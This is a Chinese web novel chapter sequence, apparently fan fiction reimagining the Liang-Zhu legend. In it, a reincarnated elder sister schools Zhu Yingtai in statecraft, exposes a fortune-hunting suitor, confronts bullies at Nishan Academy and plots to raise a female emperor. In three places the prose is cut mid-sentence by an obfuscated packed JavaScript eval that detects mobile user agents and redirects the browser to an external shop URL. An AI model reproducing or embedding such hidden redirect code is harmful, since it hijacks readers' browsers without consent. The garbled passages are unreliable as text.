《在魏晋争权[梁祝]》 1. 教 “姐姐!”祝英台提着裙子雀跃的进了门,她一眼便望见了坐在梳妆台前的同胞姐姐,虽说是同胞姊妹,长相有些相似。但在认识这对姐妹的人眼中,姐姐与她截然不同,祝英台活泼、古灵精怪,祝英回娴静、温和守礼。 祝英回听见妹妹的声音,回头看她,这一回头就把祝英台吓了一跳:“这……” 祝英回抿唇一笑:“既然要上学,那当然不能显得女气叫人窥破了,我便用些材料试了试。” 祝英台一想是这么个理儿,便也亲热地凑到了镜子前,撒着娇叫姐姐教自己。祝英回轻轻扫了扫混了墨粉的脂粉,扑了祝英台满面,随后用墨笔画出一对剑眉,再稍稍勾勒,五官便显得硬朗起来,直接从美娇娥变成了翩翩少年郎,看着还是那个人,但是却不见丝毫婉转柔弱。 祝英台拿着一套工具自己兴高采烈的捣鼓去了,祝英回敛了笑容,缓缓抬起手,遮住了自己的半脸,这一半脸,杏眼桃腮,凤梢上翘,肤如凝脂,是娇娇女郎,再换一半脸,剑眉星目,棱角分明,是风流少年。 在从前,这样的区别不算什么,但是在这个朝代,这半面妆便是天壤之别。 祝英回从鼻腔中叹出一道气,这里,到底不是她从前的地方了…… 祝英回是上一辈子死了,这一辈子忘了饮孟婆汤,浑浑噩噩的投了祝夫人腹中,在这个时代,客观来讲,记得未必是好事还是坏事。 但是……祝英回注视着镜中半面妆,她觉得是好事,至少她从不会把自己当作谁谁谁的附庸,我首先是我,她默默地念着,我绝不会为了哪一个人把自己丢进火坑里。 所以当祝英台闹着非要去上学的时候,祝英回鬼使神差一改从前表现出来的温柔娴静,用她能做到最有力的手段和祝英台站在了一起。 祝英台或许天真,或许不谙世事,或许在某些地方很幼稚,但是单单她在这个年代作为女子还能够说出:“为什么哥哥能去读书我不可以,这不公平!”来看,祝英回就真心实意的对她有两分敬佩。 ……但是这两分敬佩在天天给妹妹找补的日子中逐渐化成了无奈。 而这一日,姊妹之间的矛盾,终于被彻底激发了。 祝家一共有十个孩子,并不全出自祝夫人腹中,但是都养在祝夫人膝下,称呼她母亲,虽然并无高低贵贱之分,但这么多人,各人相处时间不同,自然便有了远近亲疏。 祝家八子于祝英台,便是‘疏’。 因此得知祝英台要帮助祝八哥的未婚妻子逃婚时,祝英回并不感到意外。 这有什么可意外的呢?黄良玉的婚姻难道是由她自己决定了,然后反悔负心的吗?于她而言,外面的世界也许苦楚颇多,但嫁给祝八哥,过着和如今祝夫人相差无几的生活,一个接一个地生孩子、教养孩子,困在四四方方的小院子里当井底的青蛙,难道就比在外面好过? 衣食无忧,但也仅此而已。 没有谁一定要牺牲掉自己的一生去成全另一个人的体面的。 但是祝英台要用在新婚之夜帮黄良玉逃婚的法子帮她有情人终成眷属时,祝英回终于她被祝英台不顾现实的天真烂漫直接戳爆。 祝英台还记得姐姐当时坐在红木太师椅上,神色是前所未有的锐利和清明,冷笑着尖锐地质问她:“你怎知那姓秦的是好人?不是贪图良玉美色和银钱的浪荡子?” “如果良玉真的逃跑了,那么,她要怎么面对世人的指责?”祝英回前倾身体,直勾勾地盯着祝英台的眼睛“她真的能够承受这一切吗?” 她笑着:“众人会怎么去骂那些妓女,就会怎么骂良玉。” “这个世道银钱是不经花的,姓秦的若是坏人,良玉若是被他骗光了银钱会落到什么下场需要我告诉你吗?” 祝英台瞠目结舌,她为姐姐的表现感到胆寒,更为姐姐所描述的未来而感到恐惧,可她仍然不想把黄良玉的未来想得太坏:“可是……黄姐姐说秦公子对她很好,他们相爱!对!他们相爱!” 说到后面,祝英台坚定起来,她是真的认为有情饮水饱。 祝英回笑了起来,她的脸上都是刻薄的怜悯,为妹妹相信这个破烂世道上的男人而感到怜悯,为她的天真而感到叹息:“你我女子处于这世道本就艰难,‘女之耽兮,不可脱也’,这个道理早就有人明明白白的写在书里了。” 她放缓了声音,轻柔地询问,却比前面的话都要诛心、都要伤人:“祝英台,你枉读了那许多圣贤书,竟是一点道理也不知道么?你说着要读书,最后却还是一样祈求着男人的垂怜和爱得活,难不成你去读书只是为了选一个东床快婿?” 祝英台如蒙雷击,她想要反驳,为此她再次思考起黄良玉的未来,若是姓秦的没有良心呢?她左思右想,悲哀地发现若真的这般行为,黄良玉的后半生直接依托在那个书生的良心上! 她沉默了下来,但仍旧不服。 祝英回也不强求——她本也没有希望当今世上的女子都如她一般,想要实现心中还飘渺无存的野望——譬如黄良玉,她学的是从来都不是建功立业、读书自省那一套,哪怕有所顿悟,又怎么能奢求她彻底摆脱从前的影响呢? 她放缓声线给出建议:“黄伯父只有这一女,要将良玉嫁给八哥也不是为了其它,只是为了自己百年之后良玉能过得好。若是她态度坚决,那黄伯父想来也是不会勉强的。” “我也不忍棒打鸳鸯,我们带着人去找姓秦的谈谈,先假意威逼利诱他离开良玉,若是他待良玉之心若良玉待他之情那般坚定,那么,黄伯父也是愿意资助他上学,为他谋一个好官位再成亲的。” 接着祝英回不由得多说了两句,以警惕祝英台:“英台,爱,是要看付出的,良玉爱姓秦的,所以为他豁得出去,冒天下之大不韪私奔,若是姓秦的也爱良玉,如何不会考虑她的处境,又如何能眼睁睁看她飞蛾扑火,背上□□的骂名。” “我话放在这里了,那个姓秦的,必然是贪图良玉的美色与钱财,威逼利诱必然生效。” 祝英台心中惴惴不安,隔日她们便扮上男装,乌泱泱地带上了身边十来个嘴紧的小厮,叫上黄良玉,以‘试情’为名叫她躲在屏风后面,看着祝英回句句紧逼。 不过三五句话,那姓秦的便屁滚尿流,拿着两百两黄金,就差跪地磕头,连连作揖:“小的绝无拐骗二位公子兄长的未婚妻,只是囊中羞涩,不得已为之罢了,二位见饶,二位见饶啊!” 黄良玉如遭雷击,祝英回早有预料,安排好了丫鬟不叫她过于激愤大骂渣男,祝英回又威胁了两句,就放他走了。 待他走了,满室寂然,祝英回环顾室内众人:“如何?” 黄良玉以手掩面,哽咽连声:“妹妹比我眼睛亮,自此再不有二心,一心对祝家兄长。” 祝英台垂头丧气,对于爱情的幻想遭到了初次打击,碎得稀里哗啦,也提不起什么兴致反驳和赞同了。 祝英回却正色:“我今日做这一局并不为了良玉你嫁我兄长,姐姐心里没有八哥我是知道的,我三人皆是女子,在这世道本应互帮互助,又何必勉强,我只是不想姐姐坠入泥潭罢了” 又说“姐姐今日把事情从头到尾的告诉黄伯父,长跪不起言道暂时不想言说婚嫁之事,伯父虽然会动怒,乃至于动手打了姐姐,但终究还是会依了姐姐的。” 魏晋南北朝,一个混乱到几乎没有规矩的朝代,大家可能明天就全家在锅里见了,整个朝代都弥漫着一股腐朽糜烂的气息,在乎这些事情的有很多,不在乎的更多。 黄良玉垂泪,满目哀戚:“此时不嫁又能如何?再过几年还不是要嫁?”她的父亲固然害怕自己逃婚而丢了面子,又出于对独女的疼惜不愿意绑她上花轿,但是再过两年,再遇见父亲心中的好女婿后,父亲难道不会再议婚姻之事? 祝英台看向姐姐,不知为何,她总觉得自家姐姐一定有办法的,否则不会开口教黄姐姐这个法子。 果不其然,祝英回莞尔:“我还未说完,姐姐再听,我知道姐姐伶俐,擅长算问,对于经营也颇有心得。” “你便以不想其它为由,向黄伯父要来你的嫁妆铺子,紧着这两年打理,若是姐姐能让这些钱翻番。再同伯父说,不想成亲,即使伯父不同意,想来多也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340063|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招赘婿,到时候还不是由着姐姐拿捏吗?” 黄良玉眼睛亮了,如果要说她多爱秦京生,那不至于,毕竟大家小姐管的严,认识的这两个月也许十面都没见过。 但是黄良玉就是享受这种给别人钱的感觉,准确来说,是被别人依赖,而不是只能被迫依赖别人的感觉。 她越想心里越亮堂,虽然知道此事不会像说的那么容易,但到底是个希望,遂一擦眼泪,屈膝谢祝英回:“多谢妹妹支招,姐姐这就回去了。”黄良玉兴高采烈的回去了,留下祝英回姐妹。 祝英台踌躇片刻:“姐姐,我想知道,你为什么用进泥潭来形容嫁给八哥?” 祝英回愣了愣,叹息一声,反问道:“难道,你觉得不是么?” “我们的爹爹,已经是一个尊重妻子的人了,否则也不会允我二人去读书,可若要你去过娘亲那样的生活,你愿意吗?” 祝英台下意识地想要回避这个问题,却因姐姐的提问而逼着自己思考,母亲生活中的细节一点点在她脑中浮现。 教养子女、看账本,然后无聊地用一盘点心、一壶茶打发一个下午。 整日坐在椅子上,翻来覆去读一些教导女子成为‘好女’的书,其他的事情,在爹爹死之前、在蛮子攻城之前,与她无关。 祝英台低声道:“不愿意,我不愿意。” 这件事情结束之后,祝英回去了妹妹的书房,把女诫都藏了起来——谢天谢地,离班婕妤写出这本书的时间还不算太远,大家并没有把它们奉为女子的圭臬,如今还没有很强的硬性要求。 时人学习,先学习三百千用以识字,然后学习章估字训用以通畅地读书,随后是通读四书五经明白道理,最后深入地选择性学习,选择自己的流派和思想。 祝英台学习四书五经是请的教女学生的先生来家中,和女子要学的其他东西一起教给她的,她的学习比之他人来说,还有很多稚嫩且粗糙的地方。 有很多重要的地方,都被教她的先生有意无意地忽略过去了。 祝英回便拣着自己觉得重要的地方,重新教妹妹读书。 她笑道:“子曰:要盟也,神不听。英台,你认为做何解?” 祝英台不明所以,老老实实地将文章翻译了一遍。 祝英回眨了眨眼睛,哼笑道:“这句话的意思是,被人要挟所做下的承诺是不作数的,你的理解没有错,但太浅显。” “子是在说,被人威胁时,哪怕是撒谎来使自己摆脱困境,都是情有可原的。” “子还说过,君子有所为有所不为,小人有所为有所不为。” 她幽幽道:“在平常时刻,难道小人会让自己露出真面目招受大家的排斥吗?如果这样说,那么君子和小人又有什么区别呢?。” “君子所不为难道不包括撒谎吗?” 祝英台脑子混沌一片,她愣愣地看着祝英回:“姐姐……” 祝英回露出了一个温和的微笑:“英台,圣人之言,你需要自己去辨别、思考,然后选择性地听从,无论听从哪一个,只要你能够坚持下去,哪怕不是君子,也算得上有所为了。” 她无情地继续:“来,我们继续读……” 祝英回教给祝英台的,不只是此事,还有律法经典、杂学书籍,她对董仲舒避而不谈,却对桑弘羊的行为细细分析,桑弘羊,汉武帝的钱袋子,各个政策都在给汉武帝捞钱,他所归于的《盐铁论》,更是被重点分析。 盐铁官营、违令者斩。 官不与民争利。 诸葛之蜀币政策合法捞钱。 其中的区别,已经超过了祝英台的理解范围。 她脑袋疼得厉害,却丝毫没有放弃,反而挑灯夜战,誓要把姐姐说的所谓‘经济’、‘军事’和‘国政’之间的关系给学明白了。 日子一天天地过,古代的破烂经济情况、后世王安石的青苗法、张居正的一条鞭法都被隐去了姓名,灌到了祝英台脑子里。 打仗,最终不就是打钱吗?祝英回望向北边,神色轻缓。 既然要叛逆,何不做个最大的? 2. 离家 祝英台几乎是沉迷在姐姐交给她的这些道理中,如痴如醉。 直到和姐姐一起提前离家,看见外面的广阔天地,心里才忽然不踏实的生出两分轻飘飘和喜悦来。 她真的出来了,祝英台痴迷于路上的一草一木一山一水,什么都如此稀奇,都是她从没见过的。 祝英回笑道:“我们倒可以不着急去读书,世上的男人读完书之后,都要去游学,然后才出仕做官。 “现在虽然世道乱了,咱们倒也可以去游学一番。” 祝英台自然无有不应。 但在游学的路上,原本兴奋的祝英台渐渐沉郁了下来。 永嘉南渡之后,中原士女偏安江左一地,汉人所遭屈辱登峰造极。 司马氏杀死了皇帝,让“君权神授”一事彻底破碎,礼崩乐坏之下,好一些的,如阮籍行为癫狂而不伤人。 但是,如顾恺之那般迷信歪门邪道并恶意伤害他人的,其实才是大多数。〔1〕 更糟糕的是,因为魏晋南北朝处于冰河期,天气阴湿闷热,毒虫多生,时人常用五石散以使身体发热、驱除蚊虫。 但此物多用使神情癫狂,上瘾不可自拔…… 世道散发着一种不正常也不健康的糜烂气息,祝英台身为士族女,外出之后所见士人均是行为狂放的清谈家,而民生…… 多苦。 虽然不像北边胡人之地吃人,但是人人都如同在苦水里泡了一遍又一遍。 祝英台看着倒在街边的乞丐群,他们中的很多人腿上白骨毕显、蛆虫在其中钻来钻去,她忽然道:“哥,你说的没错,这世道太悲哀,黄姐姐承受不住。” 她看向姐姐:“哥,我想帮帮他们。” 祝英回神色一动,最终,还是点了点头。 二人出发之前,祝英台几乎把自己攒下的钱都带走了,因而两个人凑了凑,便足以在当地买一个庄子。 请大夫,让身边的扮做书童的侍女去把街边的乞丐买下来做活。 等到那些人腿上身上终于缠上了纱布,祝英台笑容浮现,她感到一种新奇的感觉。 她真的通过自己的能力,改变了别人的命运。她难耐地捏捏自己的手,好似想要握住什么东西。 祝英回告诉妹妹了一点很重要的事情:“英台,这世上苦楚的人太多了,有钱是改变不了任何事情的。” 她说:“真正改变了这个世道的,是宰相谢安等人手中握着的权力。” 谢安拒胡人于江边,依靠长江天险击退符坚,总算是为中原汉人留存了最后一线生机和骨血。 祝英台也知道谢安,她默了一瞬,咬着牙,一字一顿:“那我们就去抢那些清谈家、那些尸位素餐之人手中的权!” 那一刻,她的眼睛中燃烧着几乎要焚烧一切的烈火,祝英回没有接她的话,祝英台也瞬间平静了下来,不再提这个话题。 两个女子结束了自己的游学,自上饶而向尼山书院出发。 上饶多水乡,姐妹两人此去自然是走水路,而这一走,就遇见了梁祝故事里的另一个主人公——梁山伯。 ……祝英回感觉很惊奇,这算什么,该相遇的人总是会遇到的吗? 梁山伯和祝英回不太谈得来,但是和祝英台升之前的想法却有些相似。 祝英台和梁山伯都是理想的浪漫主义者,对于未来一片热枕,祝英回上辈子白手起家什么没见过,那股子老辣的奸诈味都透出皮肉,让梁山伯本能地不敢靠近了。 对于这种笃定了理想便去不顾一切实现的人,祝英回乐于助长他们的理想,因为这个世界太过于悲惨,如果没有一些虚无的理想做推力,人只会被时代的浪潮卷走,然后消失。 一行三人到了书院,一路爬山,梁山伯累得气喘吁吁,倒是惯于君子六艺的姐妹二人腰不酸腿不疼,祝英台甚至还有余裕拉梁山伯一把。 就在山门前,就出了他们入学以来的第一件事,不大不小,至少在祝英回眼里不算大事儿。 尼山书院中显贵不少,现在堵在门口耀武扬威的就是其中一个。 王蓝田,本名王述,因为父亲是蓝田侯,所以经常自称王蓝田。 本来蓝田侯也算个不小的爵位,但是他父亲并没有实质的官职,只有一个虚衔,但他家又不是太原王氏的主支,所以其实并无太多话语权。 但是在这个地方,却算得上是数一数二的,至少对祝氏这种小士族来说是绝对惹不起的。 祝英回却并没有打算惯着他,且不说学生之间的争吵王蓝田敢不敢告诉他爹,就说那个以温和仆厚闻名的蓝田侯也压根儿不会管这种事情。 祝英回看着祝英台气鼓鼓地无效输出,再看看王蓝田满脸的得意洋洋,祝英回压了压祝英台指着王蓝田气得颤抖的手指。 开口就是绝杀:“你倒是胆子大,不孝这种事情也敢摆在台面上说。” 王蓝田浑身一个激灵,这个时代不孝可不是小事,如果坐实了不孝,那他还读什么书?干脆卷包袱回家算了! “你你你你,你不要胡说!我何曾不孝,我可孝顺我爹娘了。”他王蓝田嘴皮子都不利索了,跳着脚指着祝英回怒骂,妄图清洗这个人给自己加的罪名。 祝英回斜睨了他一眼,慢条斯理的捋逻辑:“你刚才自称王蓝田,是也不是?” 王蓝田颇有些摸不着头脑:“是啊,那又怎样?” 祝英回冷笑一声:“令尊才是现任的蓝田侯,爵位只有等令尊去世,才轮得到你,这位兄台,你此时就这么迫不及待的自称王蓝田,安的是什么心?” 不必多说了,大家都懂了,你爹还没死呢,你就顶着蓝田二字耀武扬威,难道是在诅咒你爹早死,好让你继承爵位? 虽然大家心里都清楚王述这傻子恐怕只是炫耀自己家有爵位,但是这不妨碍大家起哄啊! 荀巨伯带头起哄:“是啊是啊王述你安的什么心” 底下其它学子迅速跟上:“啧啧啧,他胆子可真大” 把王述吓得面色苍白,一个劲儿的喊大家闭嘴,甚至他自己也急到顾不上任何体面,上手去捂人嘴物理静音。 最终王述虽然仗着自己带的小厮多,强行控制了场面。但他看了一眼祝英回,打了个哆嗦。 动物般的直觉让他直接略过了祝英回一行人,撑着气势吼:“我就叫王述,我爹是蓝田侯,你们要进去就得拜我当老大!” 祝英回轻笑一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340064|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝英台也嘻嘻地笑,梁山伯看着促狭的义弟笑着摇了摇头,王述浑身一激灵,遍体生寒。 就在这时,一个少年郎骑马远远的听见了这一声,冷笑着弯弓搭箭,利箭射出的同时轻蔑地哼出一声:“当老大?你也配?” 这支箭射出不过转瞬之间,学子们顿时骚乱了起来。起哄归起哄,也没人真的想让王蓝田受伤。 祝英回脸色一变,看了一眼被吓得浑身僵直动都动不了的王述,暗骂一声蠢东西,急急上前两步一脚踹在了王述小腿弯,把他踹倒在地。 那支箭矢从她眼前一尺的地方划过,钉在梁柱上,尾羽嗡然作响,颤抖不止。 祝英回并未惊慌,而是暗松了一口气,这箭就算射中了也就是射中王述肩膀的位置,不要命。 看来来的这人没想过要他的命,肆意妄为,但还是有理智,有理智就好,有理智就还能好好谈谈。 她站在台阶之上,转身正对着那骑马而来的少年郎,眉头一挑。 无他,这少年眉目桀骜却也俊美如斯,长发高束,手持弓箭,方才那一支利箭已然说明此人弓马娴熟。 他神态姿势都倨傲得很,身姿挺拔,宽肩窄腰,实在是个无关男女、叫人眼前一亮的美人。 但美人欣赏一瞬也就够了,祝英回微微一笑,神色不见一丝惊意,仿佛未曾看见那支射来的箭,她拱手行礼,迎着阳光,却是洒脱不羁:“在下上饶祝英回,未曾请教阁下尊姓大名?” 她欣赏马文才的同时马文才也在打量她,此人眉目清朗,许是年纪不大的缘故,颇有些雌雄莫辨的美感,周身自有一股从容之气,身姿如竹挺拔。 要论胆气,刚刚箭矢从眼前擦过也并无惊慌之色,倒也…… 算是个人物。 他压了压眉宇之间的傲气,并未下马,拱手回礼:“杭州,马文才。” 不同于祝英回姐妹俩,围观的学子尽皆露出了恍然大悟的表情,就连王述也露出了‘怎么是他’的憋屈表情,祝英回站得高,把众人神色尽收眼底,不动声色地客套:“久仰大名。” 马文才显然也深谙敷衍之道,微微颔首:“我亦是。”祝英台对这个家伙感官不太好,暗自腹议,姐姐的闺名这家伙打哪儿知道,一听就不真诚。 没人受伤,大家伙自然也就渐渐安静下来了,马文才自去马厩栓了马。 他回来后不一会儿,学里的夫子就出来了,这个夫子约莫不惑之年,面容严肃,眉心三道聚拢,看着便极为不好相处。 “念到名字的,上来交束脩。” 前面都平安无事,念到马文才时,他越众而出,微笑着询问夫子:“后面还有多少学生?” 夫子蹙了蹙眉,略微翻了翻,给出了一个数字:“二十人” 马文才笑道:“那我便将后面的同窗的全部交上,凑个整二百金,也省得夫子一个个的念麻烦。” 夫子略微哼笑一声:“那你问问底下的学子愿意吗?”施以小利收拢人心,可惜手段不够娴熟。 之前山门前的那场闹剧夫子已经听说了,此刻更有些诧异此人竟不认为自己的所作所为会惹人怒? 这傲慢的小子,若不改改这性格,迟早吃大亏。 3. 不归路 祝英回越众而出,她微微一笑,交上了百两黄金:“不劳马兄费心,只是家中有心锻炼我二人,交代了不要麻烦同窗,不敢有违长者训诫。” 借口扯得很敷衍,但是也算过得去,祝英台横了马文才一眼,跟在姐姐后同样交上了束脩。 祝英回又道:“只是马兄这般豪爽,我倒也不好小气,倒不如学子们的束脩,我与马兄一人一半?” 其实倒也不为其他,只是梁山伯还有荀巨伯对马文才的感官不算好,恐怕会徒生事端,倒不如她做了这个人情,荀巨伯看起来对她的感官不错,应该不会拆台。 就怕梁山伯傻愣愣的来一句不吃嗟来之食,得罪在场所有人。 好在,梁山伯在同行的这么久时间里,已经逐渐理解并接受了祝英回的部分想法,此时倒也能理解她的前后作为是为了什么。 前面不受恩是因为不想随随便便给出人情,后面则是为了表示马文才这样做很正常,算是全了他的面子。 同时也让对马文才有意见的人愿意给一份面子,不要闹起来。 马文才不做声,底下学子也没甚意见,事情就这么决定了。 夫子饶有兴致的看着这一幕,啧了一声,觉得后面出来的这位女学生倒是机灵得很。 不错,他是知道祝英台与祝英回都是女子的,可是……生逢乱世,一切规矩都不再是规矩了。 他们躲在山上,以教书育人为借口逃避现实,也想看看这敢于冒天下之大不韪的女学生能做到什么地步。 他看完了这一出好戏,才慢悠悠的站起身来:“我姓陈,名南归,将会教授诸公四书之礼。” 底下的学生收敛了心思,正正经经地整顿衣冠,拱手行礼,众多少年人的声线重叠到一处,整齐又稚嫩:“陈夫子好——” 不论是谁,眉目间稚嫩的少年意气都尚未散去,就连竹林的风吹拂也格外温柔。就如同巨石之下的嫩笋,顽强地生长,殊不知等着他们的是什么。 陈南归不易察觉的微笑了一下,又叹了一口气,生逢乱世,是他们的不幸。 他转动眼珠,看向了其中几人——但,也可能是一部分人的幸运。 两人一宿舍,祝英台和祝英回作为兄弟,理所当然地被分到了同一间宿舍。 而梁山伯在她们安顿好的片刻之后,就来拜访了,他将原先准备好的束脩交给了祝英台。 梁山伯迎着祝英台惊奇的目光不好意思的一笑:“英回兄是不想我们起冲突,我承他的情,但是若是这般心安理得的叫英回兄替我交了束脩实在没办法心安,少了的二两金子我会想办法补上的。” 梁山伯这一番话倒是叫祝英回高看他一眼,颔首回他:“你我算是朋友,既然是朋友,这二两金也不必着急。” 梁山伯笑了一笑,便走了,过了一会儿,荀巨伯也拎着金子来了:“我家贫寒,但是十两金子还是有的,马文才那样子就让人不爽,但我承你的情。” 祝英回接过金子,又觉得哪里怪怪的,祝英台也有同感,姊妹二人寻思了片刻,惊道:“你姓荀,莫非是当初荀令君的子侄后辈?” 荀巨伯颇有些讶异,随后爽朗一笑,平静地承认了:“荀彧是我的叔祖——不过斯人已逝,说这许多倒像是抓着昔日荣耀不放,实在愚蠢至极。” 祝英回真情实感地赞叹:“荀令君风骨铮铮,我看你也得了他两分好处。” 荀巨伯走后,祝英回自认这只是一个小波折,连带着祝英台也不觉得这是什么大事儿。 第二天按部就班的拿着书去了学堂,两姐妹说说笑笑,对于自上饶到学院一路以来的美景造化颇为恋恋不舍。 她们并不觉得有什么,但是很明显,马文才却对这种事情很敏感。 第一日上学倒是没人搞事情,但安分了不过数日,她们二人路过蹴鞠场的时候,祝英回突然伸手把祝英台扯到了一边。 一个蹴鞠球带着呼啸的声音砸在了祝英台原本的位置,祝英回面上寒冰渐渐凝结,那蹴鞠球若是踢中了,便是不伤恐怕也疼的不得了。 祝英回看向了蹴鞠球来的方向,就看见了马文才抱胸站在那里,满脸挑衅,她突然就笑了,那笑容饱含讥讽。 马文才示意已经变成他小弟的王述把球捡回来。 王述苦着脸正要动作,却被祝英回凉丝丝的眼风定在原地,她松开祝英台,抬腿踩在蹴鞠球上,满脸轻蔑:“要球?那就自己来捡啊。” 那个捡字被她咬的很重,任谁也能听出其中的奚落。 王述进退两难,马文才见状只得放下手臂,阴着脸靠近,心里打定了注意要给这人难看。 却见祝英回忽然一笑,突然脚下生风,一脚踢了出去,蹴鞠球咻的一声从马文才身边擦了过去,直接砸在了一块尖锐的石头上,漏了气。 马文才琢磨着等会儿怎么给她下马威,还没反应过来蹴鞠球就漏气了,然后听见祝英回饱含讥讽的话:“啊,抱歉,弄坏了你的球,不过我不是来玩什么过家家一样的老大游戏的,你要玩可以找同龄人。” 她抬了抬下巴示意了一下王述“比如他。” 马文才直觉这人他的想法一清二楚,一时之间有些恼羞成怒,上前两步就要让他知道知道厉害。 却见那人自顾自地带着祝英台走了,完完全全没有把他放在眼里,也正如他所说的那样,把他收买人心和武力威胁的手段当成了小孩子过家家的把戏。 让他暴怒的轻蔑、不屑,还带着让人不敢轻举妄动的笃定。 王述看着那人的背影和暴跳如雷的马文才,咽了咽口水。 心里腹议,和马文才比起来,祝英回确实更加像一个成熟的人,甚至成熟得不像初初离家的人。 祝英台心砰砰的跳,她对马文才感官不好,但是却也确实忌惮此人的天不怕地不怕,姐姐这样直截了当地挑衅,让她担心之余也觉得兴奋不已:“哥哥,若是马文才针对我们怎么办?” 祝英回笑了一声,祝英台总觉得她的笑声里都是蔑视:“他针对我们?怎么针对?” 祝英台一想也是,光看今日王述的动作就知道除去马文才,没人愿意跟着针对姐姐。 而如果叫马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340065|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文才自己去做那些饭里拌瓦片的事情……总觉得哪里怪怪的。 姐姐本来性格就独得很,与其说别人拉帮结派孤立她,倒不如说这几天姐姐根本就没有和荀巨伯、梁山伯等少数几个人之外的同学交流过。 如果直接动手的话……依照姐姐的性格和武艺,那吃亏的还说不定是谁呢…… 很明显,马文才也意识到了这一点,并且为之憋屈不已,原本应该被他敌视的梁山伯已经被完全无视了,他现在一心琢磨着怎么能让那个傲得不行的小子吃瘪。 不管马文才,祝英回压根儿没有打算在这个书院里久留,她和祝英台注定了不可能走一般的路径出仕。 但是祝英回在离开家门,再次见识滔滔江水、漫天赤霞后,就再也没办法说服自己回到那个那方寸地方去了。 但是要怎么做,她必须要好好想一想。 晚上,祝英回躺在床上,没有丝毫的睡意,睁着眼睛注视着天花板,突然开口问祝英台:“英台,三年之后,你还想回去嫁人吗?你说的话,是认真的吗?” 过了一会儿,才听见祝英台闷闷的声音传来:“不想……但是不回去怎么办呢?” 窸窸窣窣的声音响了起来,祝英台同样翻身躺着盯天花板:“认真得不能更认真了。” 祝英回停了一瞬间,再次轻声询问:“如果,我是说如果,有一个方法,可以让我们堂堂正正的以女子之身出仕。” “但是很难——非常难,还很有可能丢掉性命,我们还必须背弃自己从前的身份姓名,你愿意吗?” 祝英台这一次沉默了很久,才回她:“有什么,比读过史书,见识过那些人搅弄风云自己却只能居于后院,了此一生更难受呢?” “若我真的要嫁给一个男人,相敬如宾,为他纳妾、经营,就像母亲那样……” “那我觉得,在我嫁人的时候我就已经死了。” 祝英回好似醍醐灌顶。 有什么事情,能比那样的生活更加可怕呢?她们已经跑了出来,见过了外面的民生疾苦,山间清风,她绝不要再把自己封回去! 祝英回坚定了想法:“小妹,我们只在这里留一年。” “如今世道混乱,皇帝换得更是勤快,宗室中失独的幼女很多,一年时间我们必须学会怎么去当好一个老师。 “我们要当好一个帝师,要学会怎么把一个公主教成一个皇帝。” 祝英台吓了一跳:“姐姐,你是想……” 祝英回无声的笑了笑,声音冷且幽:“有什么能比一个女帝、从龙之功更能教天下女子走出宅门呢?” 祝英台惴惴不安:“可是,我们能做到吗?就算成功了,事情会如我们想象的那般发展吗?” 祝英回翻了个身,长发垂在枕头上,她定定的看着看过来的祝英台:“这很难,而且我们很可能会死,所以英台,你愿意吗?” 祝英台听着自己越来越响的心跳声,有什么东西在心底破土而出,逐渐生长,紧紧的捆住了她的整颗心脏,促使着她去做点什么:“……好,一年,就一年。” 4. 上课 尼山书院有着完备的教学方案和全面的教育。 射、御、礼、书、数、乐。 就算是同一门学科,不同的阶段也是由不同的夫子执教。 譬如招生的那一位陈夫子,便是教授书中的‘四书’。 诸人拿到课表之后,发现射、御、书、数都是排的满满当当,而礼与乐却还不见踪影。 祝英台拿着课表,看向闲坐于床边看书的祝英回:“哥哥,你说这奇不奇怪,其他的都有,唯独没有礼和乐?” 祝英回接过课表看了一眼,就合上了:“有甚么值得奇怪?这个世道礼义崩塌,祭乐不行。若是不想道心破碎,便最好是自己悟出来的道理,才最坚定、不容易崩塌。” 这个世道皇帝都能随便杀,用来圈定贵贱规矩的礼还有什么存在的余地?亲爹都可能是自己杀的,再行祭祀不是掩耳盗铃? 朝廷里权力最大的那一波人未必相信这些,但是底下学习儒学的那些学生,这个江山的未来还是单纯的一丛嫩苗,可经不起这个摧残。 谁敢来教?谁道心还坚定得可以听着学生问自己“夫子,帝王受命于天做何解?”而不落荒而逃? 祝英回将此中道理一一讲给祝英台听,祝英台神色复杂,古怪地不断变化,她问的声音很小:“姐姐,那这是错的,什么是对的呢?” 身着青色大袖衫的女子轻轻呼出一口气,她从前不讲董仲舒,就是怕祝英台有此一问,旁人会道心破碎,难道祝英台便不会? 她甚至比那些读书出仕多多少少都是想走世俗之路的学子更理想主义!对皇帝寄托了更大的希望!说直接点,她读书就是为了天下女子与世界和平! 哪怕汉人南渡让她心中模模糊糊的怀疑: 天子难道不是上天保佑的吗?为什么会让我们遭受这么大的屈辱? 她也依然寄希望于换一个好皇帝,率领大军打回胡人占领的中原之地。 但是,祝英回已经知道该怎么回答妹妹了。 